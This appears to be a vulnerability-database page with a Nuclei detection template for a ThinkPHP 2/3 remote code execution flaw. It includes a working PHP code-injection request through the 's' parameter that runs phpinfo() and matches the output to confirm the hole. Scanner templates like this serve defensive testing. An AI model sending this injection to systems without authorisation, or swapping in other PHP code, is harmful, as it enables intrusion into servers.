thinkphp-2-rce: ThinkPHP 2/3 - Remote Code Execution

2025-08-01 ThinkPHP 2 3 PoC Public

Description

ThinkPHP 2.x and 3.0 in Lite mode are susceptible to remote code execution via the s parameter. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

PoC

id: thinkphp-2-rce

info:
  name: ThinkPHP 2/3 - Remote Code Execution
  author: dr_set
  severity: critical
  description: ThinkPHP 2.x and 3.0 in Lite mode are susceptible to remote code execution via the s parameter. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/2-rce
  classification:
    cwe-id: CWE-95
  metadata:
    max-request: 1
  tags: thinkphp,rce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?s=/index/index/name/$%7B@phpinfo()%7D"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "ThinkPHP"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022005d340ef198bfb583bd4f7b2e1b7697bd23b29a08f8038acf1896e4b6ab8556a022029cddea6efc2c3c12bf607d91c0d67606c44943ac3b4def0c18df931051bba1a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities